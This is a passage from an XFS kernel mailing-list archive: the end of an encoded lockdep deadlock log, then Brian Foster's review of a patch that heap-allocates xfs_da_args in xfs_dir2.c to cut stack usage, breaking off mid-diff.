OjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IAp0aGUgZXhpc3RpbmcgZGVwZW5kZW5jeSBjaGFp biAoaW4gcmV2ZXJzZSBvcmRlcikgaXM6CkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2Vy bmVsOiAKLT4gIzIgKCZ4ZnNfZGlyX2lsb2NrX2NsYXNzKXsrKysrLi59OgpGZWIgMTkgMTI6 MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogICAgICAgWzxmZmZmZmZmZjgxMGYzZWMyPl0gbG9j a19hY3F1aXJlKzB4YTIvMHgxZDAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6 ICAgICAgIFs8ZmZmZmZmZmY4MTBlZDE0Nz5dIGRvd25fcmVhZF9uZXN0ZWQrMHg1Ny8weGEw CkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAgICAgICBbPGZmZmZmZmZmYTA1 YTAwMjI+XSB4ZnNfaWxvY2srMHgxMjIvMHgyNTAgW3hmc10KRmViIDE5IDEyOjIyOjAzIGxv Y2FsaG9zdCBrZXJuZWw6ICAgICAgIFs8ZmZmZmZmZmZhMDVhMDFhZj5dIHhmc19pbG9ja19h dHRyX21hcF9zaGFyZWQrMHgxZi8weDUwIFt4ZnNdCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhv c3Qga2VybmVsOiAgICAgICBbPGZmZmZmZmZmYTA1NjVkNTA+XSB4ZnNfYXR0cl9nZXQrMHg5 MC8weGUwIFt4ZnNdCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAgICAgICBb PGZmZmZmZmZmYTA1NWI5ZDc+XSB4ZnNfeGF0dHJfZ2V0KzB4MzcvMHg1MCBbeGZzXQpGZWIg MTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogICAgICAgWzxmZmZmZmZmZjgxMjQ4M2Vm Pl0gZ2VuZXJpY19nZXR4YXR0cisweDRmLzB4NzAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9z dCBrZXJuZWw6ICAgICAgIFs8ZmZmZmZmZmY4MTMzZmQ1ZT5dIGlub2RlX2RvaW5pdF93aXRo X2RlbnRyeSsweDFhZS8weDY1MApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDog ICAgICAgWzxmZmZmZmZmZjgxMzQwMmQ4Pl0gc2JfZmluaXNoX3NldF9vcHRzKzB4ZDgvMHgy NzAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6ICAgICAgIFs8ZmZmZmZmZmY4 MTM0MDcwMj5dIHNlbGludXhfc2V0X21udF9vcHRzKzB4MjkyLzB4NWYwCkZlYiAxOSAxMjoy MjowMyBsb2NhbGhvc3Qga2VybmVsOiAgICAgICBbPGZmZmZmZmZmODEzNDBhYzg+XSBzdXBl cmJsb2NrX2RvaW5pdCsweDY4LzB4ZDAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJu ZWw6ICAgICAgIFs8ZmZmZmZmZmY4MTM0MGI4ZD5dIHNlbGludXhfc2Jfa2Vybl9tb3VudCsw eDNkLzB4YTAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6ICAgICAgIFs8ZmZm ZmZmZmY4MTMzNTUzNj5dIHNlY3VyaXR5X3NiX2tlcm5fbW91bnQrMHgxNi8weDIwCkZlYiAx OSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAgICAgICBbPGZmZmZmZmZmODEyMjMzM2E+ XSBtb3VudF9mcysweDhhLzB4MWIwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVs OiAgICAgICBbPGZmZmZmZmZmODEyNDI4NWI+XSB2ZnNfa2Vybl9tb3VudCsweDZiLzB4MTUw CkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAgICAgICBbPGZmZmZmZmZmODEy NDU2MWU+XSBkb19tb3VudCsweDIzZS8weGI5MApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0 IGtlcm5lbDogICAgICAgWzxmZmZmZmZmZjgxMjQ2MmEzPl0gU3lTX21vdW50KzB4ODMvMHhj MApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogICAgICAgWzxmZmZmZmZmZjgx NzhlZDY5Pl0gc3lzdGVtX2NhbGxfZmFzdHBhdGgrMHgxNi8weDFiCkZlYiAxOSAxMjoyMjow MyBsb2NhbGhvc3Qga2VybmVsOiAKLT4gIzEgKCZpc2VjLT5sb2NrKXsrLisuKy59OgpGZWIg MTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogICAgICAgWzxmZmZmZmZmZjgxMGYzZWMy Pl0gbG9ja19hY3F1aXJlKzB4YTIvMHgxZDAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBr ZXJuZWw6ICAgICAgIFs8ZmZmZmZmZmY4MTc4MGQ3Nz5dIG11dGV4X2xvY2tfbmVzdGVkKzB4 NzcvMHgzZjAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6ICAgICAgIFs8ZmZm ZmZmZmY4MTMzZmM0Mj5dIGlub2RlX2RvaW5pdF93aXRoX2RlbnRyeSsweDkyLzB4NjUwCkZl YiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAgICAgICBbPGZmZmZmZmZmODEzNDBk Y2M+XSBzZWxpbnV4X2RfaW5zdGFudGlhdGUrMHgxYy8weDIwCkZlYiAxOSAxMjoyMjowMyBs b2NhbGhvc3Qga2VybmVsOiAgICAgICBbPGZmZmZmZmZmODEzMzUxN2I+XSBzZWN1cml0eV9k X2luc3RhbnRpYXRlKzB4MWIvMHgzMApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5l bDogICAgICAgWzxmZmZmZmZmZjgxMjM3ZDcwPl0gZF9pbnN0YW50aWF0ZSsweDUwLzB4NzAK RmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6ICAgICAgIFs8ZmZmZmZmZmY4MTFi Y2I3MD5dIF9fc2htZW1fZmlsZV9zZXR1cCsweGUwLzB4MWQwCkZlYiAxOSAxMjoyMjowMyBs b2NhbGhvc3Qga2VybmVsOiAgICAgICBbPGZmZmZmZmZmODExYmY5ODg+XSBzaG1lbV96ZXJv X3NldHVwKzB4MjgvMHg3MApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogICAg ICAgWzxmZmZmZmZmZjgxMWQ4NjUzPl0gbW1hcF9yZWdpb24rMHg1NDMvMHg1YTAKRmViIDE5 IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6ICAgICAgIFs8ZmZmZmZmZmY4MTFkODliMT5d IGRvX21tYXBfcGdvZmYrMHgzMDEvMHgzYzAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBr ZXJuZWw6ICAgICAgIFs8ZmZmZmZmZmY4MTFjMThmMD5dIHZtX21tYXBfcGdvZmYrMHg5MC8w eGMwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAgICAgICBbPGZmZmZmZmZm ODExZDZmMjY+XSBTeVNfbW1hcF9wZ29mZisweDExNi8weDI3MApGZWIgMTkgMTI6MjI6MDMg bG9jYWxob3N0IGtlcm5lbDogICAgICAgWzxmZmZmZmZmZjgxMDFmOWIyPl0gU3lTX21tYXAr MHgyMi8weDMwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAgICAgICBbPGZm ZmZmZmZmODE3OGVkNjk+XSBzeXN0ZW1fY2FsbF9mYXN0cGF0aCsweDE2LzB4MWIKRmViIDE5 IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IAotPiAjMCAoJm1tLT5tbWFwX3NlbSl7Kysr KysrfToKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6ICAgICAgIFs8ZmZmZmZm ZmY4MTBmMzUxYz5dIF9fbG9ja19hY3F1aXJlKzB4MThlYy8weDFhYTAKRmViIDE5IDEyOjIy OjAzIGxvY2FsaG9zdCBrZXJuZWw6ICAgICAgIFs8ZmZmZmZmZmY4MTBmM2VjMj5dIGxvY2tf YWNxdWlyZSsweGEyLzB4MWQwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAg ICAgICBbPGZmZmZmZmZmODExY2M4ZmM+XSBtaWdodF9mYXVsdCsweDhjLzB4YjAKRmViIDE5 IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6ICAgICAgIFs8ZmZmZmZmZmY4MTIzNDFjMT5d IGZpbGxkaXIrMHg5MS8weDEyMApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDog ICAgICAgWzxmZmZmZmZmZmEwNTNmMmY3Pl0geGZzX2RpcjJfc2ZfZ2V0ZGVudHMrMHgzMTcv MHgzODAgW3hmc10KRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6ICAgICAgIFs8 ZmZmZmZmZmZhMDU0MDAxYj5dIHhmc19yZWFkZGlyKzB4MTZiLzB4MjMwIFt4ZnNdCkZlYiAx OSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAgICAgICBbPGZmZmZmZmZmYTA1NDI3ZmI+ XSB4ZnNfZmlsZV9yZWFkZGlyKzB4MmIvMHg0MCBbeGZzXQpGZWIgMTkgMTI6MjI6MDMgbG9j YWxob3N0IGtlcm5lbDogICAgICAgWzxmZmZmZmZmZjgxMjM0MDA4Pl0gaXRlcmF0ZV9kaXIr MHhhOC8weGUwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAgICAgICBbPGZm ZmZmZmZmODEyMzQ0YjM+XSBTeVNfZ2V0ZGVudHMrMHg5My8weDEyMApGZWIgMTkgMTI6MjI6 MDMgbG9jYWxob3N0IGtlcm5lbDogICAgICAgWzxmZmZmZmZmZjgxNzhlZDY5Pl0gc3lzdGVt X2NhbGxfZmFzdHBhdGgrMHgxNi8weDFiCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2Vy bmVsOiAKb3RoZXIgaW5mbyB0aGF0IG1pZ2h0IGhlbHAgdXMgZGVidWcgdGhpczoKCkZlYiAx OSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBDaGFpbiBleGlzdHMgb2Y6CiAgJm1tLT5t bWFwX3NlbSAtLT4gJmlzZWMtPmxvY2sgLS0+ICZ4ZnNfZGlyX2lsb2NrX2NsYXNzCgpGZWIg MTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogUG9zc2libGUgdW5zYWZlIGxvY2tpbmcg c2NlbmFyaW86CgpGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogICAgICAgQ1BV MCAgICAgICAgICAgICAgICAgICAgQ1BVMQpGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtl cm5lbDogICAgICAgLS0tLSAgICAgICAgICAgICAgICAgICAgLS0tLQpGZWIgMTkgMTI6MjI6 MDMgbG9jYWxob3N0IGtlcm5lbDogIGxvY2soJnhmc19kaXJfaWxvY2tfY2xhc3MpOwpGZWIg MTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgbG9jaygmaXNlYy0+bG9jayk7CkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2Vy bmVsOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb2NrKCZ4ZnNfZGlyX2lsb2Nr X2NsYXNzKTsKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6ICBsb2NrKCZtbS0+ bW1hcF9zZW0pOwpGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogCiAqKiogREVB RExPQ0sgKioqCgpGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogMiBsb2NrcyBo ZWxkIGJ5IHJtLzQxNzE6CkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAjMDog ICgmdHlwZS0+aV9tdXRleF9kaXJfa2V5IzQpeysuKy4rLn0sIGF0OiBbPGZmZmZmZmZmODEy MzNmYzI+XSBpdGVyYXRlX2RpcisweDYyLzB4ZTAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9z dCBrZXJuZWw6ICMxOiAgKCZ4ZnNfZGlyX2lsb2NrX2NsYXNzKXsrKysrLi59LCBhdDogWzxm ZmZmZmZmZmEwNWEwMDIyPl0geGZzX2lsb2NrKzB4MTIyLzB4MjUwIFt4ZnNdCkZlYiAxOSAx MjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiAKc3RhY2sgYmFja3RyYWNlOgpGZWIgMTkgMTI6 MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogQ1BVOiAxIFBJRDogNDE3MSBDb21tOiBybSBUYWlu dGVkOiBHRiAgICAgICBXICBPIDMuMTQuMC1yYzErICM2CkZlYiAxOSAxMjoyMjowMyBsb2Nh bGhvc3Qga2VybmVsOiBIYXJkd2FyZSBuYW1lOiBCb2NocyBCb2NocywgQklPUyBCb2NocyAw MS8wMS8yMDExCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBmZmZmZmZmZjgy NTk3ZDgwIGZmZmY4ODAwYzQzY2RjNjAgZmZmZmZmZmY4MTc3YmE5MCBmZmZmZmZmZjgyNWNk OWMwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBmZmZmODgwMGM0M2NkY2Ew IGZmZmZmZmZmODE3NzcxNjggZmZmZjg4MDBjNDNjZGNmMCBmZmZmODgwMGQ0NGJhNjMwCkZl YiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBmZmZmODgwMGQ0NGI5YWEwIDAwMDAw MDAwMDAwMDAwMDIgMDAwMDAwMDAwMDAwMDAwMiBmZmZmODgwMGQ0NGJhNjMwCkZlYiAxOSAx MjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBDYWxsIFRyYWNlOgpGZWIgMTkgMTI6MjI6MDMg bG9jYWxob3N0IGtlcm5lbDogWzxmZmZmZmZmZjgxNzdiYTkwPl0gZHVtcF9zdGFjaysweDRk LzB4NjYKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFs8ZmZmZmZmZmY4MTc3 NzE2OD5dIHByaW50X2NpcmN1bGFyX2J1ZysweDIwMS8weDIwZgpGZWIgMTkgMTI6MjI6MDMg bG9jYWxob3N0IGtlcm5lbDogWzxmZmZmZmZmZjgxMGYzNTFjPl0gX19sb2NrX2FjcXVpcmUr MHgxOGVjLzB4MWFhMApGZWIgMTkgMTI6MjI6MDMgbG9jYWxob3N0IGtlcm5lbDogWzxmZmZm ZmZmZjgxMGYzZWMyPl0gbG9ja19hY3F1aXJlKzB4YTIvMHgxZDAKRmViIDE5IDEyOjIyOjAz IGxvY2FsaG9zdCBrZXJuZWw6IFs8ZmZmZmZmZmY4MTFjYzhjZj5dID8gbWlnaHRfZmF1bHQr MHg1Zi8weGIwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbPGZmZmZmZmZm ODExY2M4ZmM+XSBtaWdodF9mYXVsdCsweDhjLzB4YjAKRmViIDE5IDEyOjIyOjAzIGxvY2Fs aG9zdCBrZXJuZWw6IFs8ZmZmZmZmZmY4MTFjYzhjZj5dID8gbWlnaHRfZmF1bHQrMHg1Zi8w eGIwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbPGZmZmZmZmZmODEyMzQx YzE+XSBmaWxsZGlyKzB4OTEvMHgxMjAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJu ZWw6IFs8ZmZmZmZmZmZhMDUzZjJmNz5dIHhmc19kaXIyX3NmX2dldGRlbnRzKzB4MzE3LzB4 MzgwIFt4ZnNdCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbPGZmZmZmZmZm YTA1YTAwMjI+XSA/IHhmc19pbG9jaysweDEyMi8weDI1MCBbeGZzXQpGZWIgMTkgMTI6MjI6 MDMgbG9jYWxob3N0IGtlcm5lbDogWzxmZmZmZmZmZmEwNTQwMDFiPl0geGZzX3JlYWRkaXIr MHgxNmIvMHgyMzAgW3hmc10KRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFs8 ZmZmZmZmZmZhMDU0MjdmYj5dIHhmc19maWxlX3JlYWRkaXIrMHgyYi8weDQwIFt4ZnNdCkZl YiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbPGZmZmZmZmZmODEyMzQwMDg+XSBp dGVyYXRlX2RpcisweGE4LzB4ZTAKRmViIDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6 IFs8ZmZmZmZmZmY4MTIzNDRiMz5dIFN5U19nZXRkZW50cysweDkzLzB4MTIwCkZlYiAxOSAx MjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbPGZmZmZmZmZmODEyMzQxMzA+XSA/IGZpbGxv bmVkaXIrMHhmMC8weGYwCkZlYiAxOSAxMjoyMjowMyBsb2NhbGhvc3Qga2VybmVsOiBbPGZm ZmZmZmZmODExNGEyY2M+XSA/IF9fYXVkaXRfc3lzY2FsbF9lbnRyeSsweDljLzB4ZjAKRmVi IDE5IDEyOjIyOjAzIGxvY2FsaG9zdCBrZXJuZWw6IFs8ZmZmZmZmZmY4MTc4ZWQ2OT5dIHN5 c3RlbV9jYWxsX2Zhc3RwYXRoKzB4MTYvMHgxYgoKCg== --------------040905030403000703090303-- From bfoster@redhat.com Wed Feb 19 12:25:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 557577F96 for ; Wed, 19 Feb 2014 12:25:37 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4B1FC8F8050 for ; Wed, 19 Feb 2014 10:25:37 -0800 (PST) X-ASG-Debug-ID: 1392834335-04cb6c6de25b9350001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id OTrpFADfG1pw8FUI for ; Wed, 19 Feb 2014 10:25:36 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1JIPXSM001917 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 19 Feb 2014 13:25:34 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1JIPWQI030173; Wed, 19 Feb 2014 13:25:33 -0500 Message-ID: <5304F71B.4060002@redhat.com> Date: Wed, 19 Feb 2014 13:25:31 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner , xfs@oss.sgi.com Subject: Re: [PATCH 3/3] xfs: allocate xfs_da_args to reduce stack footprint References: <1392783402-4726-1-git-send-email-david@fromorbit.com> <1392783402-4726-4-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs: allocate xfs_da_args to reduce stack footprint In-Reply-To: <1392783402-4726-4-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392834335 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/18/2014 11:16 PM, Dave Chinner wrote: > From: Dave Chinner > > The struct xfs_da_args used to pass directory/attribute operation > information to the lower layers is 128 bytes in size and is > allocated on the stack. Dynamically allocate them to reduce the > stack footprint of directory operations. > > Signed-off-by: Dave Chinner > --- > fs/xfs/xfs_dir2.c | 344 +++++++++++++++++++++++++++++++++--------------------- > 1 file changed, 214 insertions(+), 130 deletions(-) > > diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c > index ce16ef0..fc9a41f 100644 > --- a/fs/xfs/xfs_dir2.c > +++ b/fs/xfs/xfs_dir2.c > @@ -180,16 +180,23 @@ xfs_dir_init( > xfs_inode_t *dp, > xfs_inode_t *pdp) > { > - xfs_da_args_t args; > + struct xfs_da_args *args; > int error; > > - memset((char *)&args, 0, sizeof(args)); > - args.dp = dp; > - args.trans = tp; > ASSERT(S_ISDIR(dp->i_d.di_mode)); > - if ((error = xfs_dir_ino_validate(tp->t_mountp, pdp->i_ino))) > + error = xfs_dir_ino_validate(tp->t_mountp, pdp->i_ino); > + if (error) > return error; > - return xfs_dir2_sf_create(&args, pdp->i_ino); > + > + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); > + if (!args) > + return ENOMEM; > + > + args->dp = dp; > + args->trans = tp; > + error = xfs_dir2_sf_create(args, pdp->i_ino); > + kmem_free(args); > + return error; > } > > /* > @@ -205,41 +212,56 @@ xfs_dir_createname( > xfs_bmap_free_t *flist, /* bmap's freeblock list */ > xfs_extlen_t total) /* bmap's total block count */ > { > - xfs_da_args_t args; > + struct xfs_da_args *args; > int rval; > int v; /* type-checking value */ > > ASSERT(S_ISDIR(dp->i_d.di_mode)); > - if ((rval = xfs_dir_ino_validate(tp->t_mountp, inum))) > + rval = xfs_dir_ino_validate(tp->t_mountp, inum); > + if (rval) > return rval; > XFS_STATS_INC(xs_dir_create); > > - memset(&args, 0, sizeof(xfs_da_args_t)); > - args.name = name->name; > - args.namelen = name->len; > - args.filetype = name->type; > - args.hashval = dp->i_mount->m_dirnameops->hashname(name); > - args.inumber = inum; > - args.dp = dp; > - args.firstblock = first; > - args.flist = flist; > - args.total = total; > - args.whichfork = XFS_DATA_FORK; > - args.trans = tp; > - args.op_flags = XFS_DA_OP_ADDNAME | XFS_DA_OP_OKNOENT; > - > - if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) > - rval = xfs_dir2_sf_addname(&args); > - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) > - return rval; > - else if (v) > - rval = xfs_dir2_block_addname(&args); > - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) > - return rval; > - else if (v) > - rval = xfs_dir2_leaf_addname(&args); > + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); > + if (!args) > + return ENOMEM; > + > + args->name = name->name; > + args->namelen = name->len; > + args->filetype = name->type; > + args->hashval = dp->i_mount->m_dirnameops->hashname(name); > + args->inumber = inum; > + args->dp = dp; > + args->firstblock = first; > + args->flist = flist; > + args->total = total; > + args->whichfork = XFS_DATA_FORK; > + args->trans = tp; > + args->op_flags = XFS_DA_OP_ADDNAME | XFS_DA_OP_OKNOENT; > + > + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) { > + rval = xfs_dir2_sf_addname(args); > + goto out_free; > + } > + > + rval = xfs_dir2_isblock(tp, dp, &v); > + if (rval) > + goto out_free; > + if (v) { > + rval = xfs_dir2_block_addname(args); > + goto out_free; > + } > + > + rval = xfs_dir2_isleaf(tp, dp, &v); > + if (rval) > + goto out_free; > + if (v) > + rval = xfs_dir2_leaf_addname(args); > else > - rval = xfs_dir2_node_addname(&args); > + rval = xfs_dir2_node_addname(args); > + > +out_free: > + kmem_free(args); > return rval; > } > > @@ -282,46 +304,68 @@ xfs_dir_lookup( > xfs_ino_t *inum, /* out: inode number */ > struct xfs_name *ci_name) /* out: actual name if CI match */ > { > - xfs_da_args_t args; > + struct xfs_da_args *args; > int rval; > int v; /* type-checking value */ > > ASSERT(S_ISDIR(dp->i_d.di_mode)); > XFS_STATS_INC(xs_dir_lookup); > > - memset(&args, 0, sizeof(xfs_da_args_t)); > - args.name = name->name; > - args.namelen = name->len; > - args.filetype = name->type; > - args.hashval = dp->i_mount->m_dirnameops->hashname(name); > - args.dp = dp; > - args.whichfork = XFS_DATA_FORK; > - args.trans = tp; > - args.op_flags = XFS_DA_OP_OKNOENT; > + /* > + * If we don't use KM_NOFS here, lockdep will through false positive throw? Reviewed-by: Brian Foster > + * deadlock warnings when we come through here of the non-transactional > + * lookup path because the allocation can recurse into inode reclaim. > + * Doing this avoids having to add a bunch of lockdep class > + * annotations into the reclaim patch for the ilock. > + */ > + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); > + if (!args) > + return ENOMEM; > + > + args->name = name->name; > + args->namelen = name->len; > + args->filetype = name->type; > + args->hashval = dp->i_mount->m_dirnameops->hashname(name); > + args->dp = dp; > + args->whichfork = XFS_DATA_FORK; > + args->trans = tp; > + args->op_flags = XFS_DA_OP_OKNOENT; > if (ci_name) > - args.op_flags |= XFS_DA_OP_CILOOKUP; > + args->op_flags |= XFS_DA_OP_CILOOKUP; > > - if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) > - rval = xfs_dir2_sf_lookup(&args); > - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) > - return rval; > - else if (v) > - rval = xfs_dir2_block_lookup(&args); > - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) > - return rval; > - else if (v) > - rval = xfs_dir2_leaf_lookup(&args); > + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) { > + rval = xfs_dir2_sf_lookup(args); > + goto out_check_rval; > + } > + > + rval = xfs_dir2_isblock(tp, dp, &v); > + if (rval) > + goto out_free; > + if (v) { > + rval = xfs_dir2_block_lookup(args); > + goto out_check_rval; > + } > + > + rval = xfs_dir2_isleaf(tp, dp, &v); > + if (rval) > + goto out_free; > + if (v) > + rval = xfs_dir2_leaf_lookup(args); > else > - rval = xfs_dir2_node_lookup(&args); > + rval = xfs_dir2_node_lookup(args); > + > +out_check_rval: > if (rval == EEXIST) > rval = 0; > if (!rval) { > - *inum = args.inumber; > + *inum = args->inumber; > if (ci_name) { > - ci_name->name = args.value; > - ci_name->len = args.valuelen; > + ci_name->name = args->value; > + ci_name->len = args->valuelen; > } > } > +out_free: > + kmem_free(args); > return rval; > } > > @@ -338,38 +382,51 @@ xfs_dir_removename( > xfs_bmap_free_t *flist, /* bmap's freeblock list */ > xfs_extlen_t total) /* bmap's total block count */ > { > - xfs_da_args_t args; > + struct xfs_da_args *args; > int rval; > int v; /* type-checking value */ > > ASSERT(S_ISDIR(dp->i_d.di_mode)); > XFS_STATS_INC(xs_dir_remove); > > - memset(&args, 0, sizeof(xfs_da_args_t)); > - args.name = name->name; > - args.namelen = name->len; > - args.filetype = name->type; > - args.hashval = dp->i_mount->m_dirnameops->hashname(name); > - args.inumber = ino; > - args.dp = dp; > - args.firstblock = first; > - args.flist = flist; > - args.total = total; > - args.whichfork = XFS_DATA_FORK; > - args.trans = tp; > - > - if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) > - rval = xfs_dir2_sf_removename(&args); > - else if ((rval = xfs_dir2_isblock(tp, dp, &v))) > - return rval; > - else if (v) > - rval = xfs_dir2_block_removename(&args); > - else if ((rval = xfs_dir2_isleaf(tp, dp, &v))) > - return rval; > - else if (v) > - rval = xfs_dir2_leaf_removename(&args); > + args = kmem_zalloc(sizeof(*args), KM_SLEEP | KM_NOFS); > + if (!args) > + return ENOMEM; > + > + args->name = name->name; > + args->namelen = name->len; > + args->filetype = name->type; > + args->hashval = dp->i_mount->m_dirnameops->hashname(name); > + args->inumber = ino; > + args->dp = dp; > + args->firstblock = first; > + args->flist = flist; > + args->total = total; > + args->whichfork = XFS_DATA_FORK; > + args->trans = tp; > + > + if (dp->i_d.di_format == XFS_DINODE_FMT_LOCAL) { > + rval = xfs_dir2_sf_removename(args); > + goto out_free; > + } > + > + rval = xfs_dir2_isblock(tp, dp, &v); > + if (rval) > + goto out_free; > + if (v) { > + rval = xfs_dir2_block_removename(args); > + goto out_free; > + } > + > + rval = xfs_dir2_isleaf(tp, dp, &v); > + if (rval) > + goto out_free; > + if (v) > + rval = xfs_dir2_leaf_removename(args); > else > - rval = xfs_dir2_node_removename(&args); > + rval = xfs_dir2_node_removename(args); > +out_free: > + kmem_free(args); > return rval; > } > > @@ -386,40 +443,54 @@ xfs_dir_replace( > xfs_bmap_free_t *flist, /* bmap's freeblock list */ > xfs_extlen_t total) /* bmap's total block count */ > { > - xfs_da_args_t args; > + struct xfs_da_args *args; > int rval; > int v; /* type-checking value */ > > ASSERT(S_ISDIR(dp->i_d.di_mode)); > > - if ((rval = xfs_dir_ino_validate(tp->t_mountp, inum))) > + rval = xfs_dir_ino_validate(tp->t_mountp, inum); 